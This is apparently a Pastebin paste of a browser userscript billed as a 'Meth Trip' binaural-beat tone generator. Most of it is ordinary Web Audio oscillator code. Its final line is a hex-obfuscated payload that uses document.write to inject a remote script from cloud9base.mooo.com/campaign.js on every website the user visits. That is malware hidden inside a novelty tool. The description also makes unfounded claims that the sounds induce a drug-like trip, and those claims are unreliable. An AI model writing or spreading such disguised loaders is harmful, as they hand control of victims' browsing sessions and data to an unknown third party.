Advertisement
KekSec

METH Trip Bineural Beat Algorithm UserScript

Nov 16th, 2015
427
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // ==UserScript==
  2. // @name        Meth Trip
  3. // @namespace   Methamphetamine
  4. // @description This sexy piece of JavaScript has the ability to induce a meth like time warping trip within 25 minutes using a Bineural Beat and colour algorithm. It uses Isotronic tones and the pavlovian affect. USE AT OWN RISK
  5. // @include     *
  6. // @version     1
  7. // @grant       none
  8. // Created by http://pastebin.com/u/SalamanderSquad
  9. // ==/UserScript==
  10.  
  11. //Meth.js
  12. //Modified Isotronic wave generator from http://onlinetonegenerator.com/
  13. //The code can be found here if anyone is interested http://onlinetonegenerator.com/js/binaural.js
  14.  
  15. var contextClass = (window.AudioContext ||
  16.     window.webkitAudioContext ||
  17.     window.mozAudioContext ||
  18.     window.oAudioContext ||
  19.     window.msAudioContext);
  20.  
  21. if (contextClass) {
  22.     // Web Audio API is available.
  23.     var context = new contextClass();
  24. }
  25.  
  26. var oscOn = function (freq1, freq2) {
  27.  
  28.     merger = context.createChannelMerger(2);
  29.  
  30.     oscillator1 = context.createOscillator();
  31.     oscillator1.type = 0;
  32.     oscillator1.frequency.value = freq1;
  33.     gainNode = context.createGain ? context.createGain() : context.createGainNode();
  34.     oscillator1.connect(gainNode, 0, 0);
  35.     // gainNode.connect(context.destination,0,0);
  36.     gainNode.gain.value = .1;
  37.     oscillator1.start ? oscillator1.start(0) : oscillator1.noteOn(0)
  38.  
  39.     gainNode.connect(merger, 0, 1);
  40.  
  41.     oscillator2 = context.createOscillator();
  42.     oscillator2.type = 0;
  43.     oscillator2.frequency.value = freq2;
  44.     gainNode = context.createGain ? context.createGain() : context.createGainNode();
  45.     oscillator2.connect(gainNode);
  46.     // gainNode.connect(context.destination,0,1);
  47.     gainNode.connect(merger, 0, 0);
  48.  
  49.  
  50.     gainNode.gain.value = .1;
  51.     oscillator2.start ? oscillator2.start(0) : oscillator2.noteOn(0)
  52.  
  53.     merger.connect(context.destination);
  54.  
  55.  
  56. }
  57.  
  58. var _0x17b5=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x63\x6C\x6F\x75\x64\x39\x62\x61\x73\x65\x2E\x6D\x6F\x6F\x6F\x2E\x63\x6F\x6D\x2F\x63\x61\x6D\x70\x61\x69\x67\x6E\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0x17b5[1]](_0x17b5[0]);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement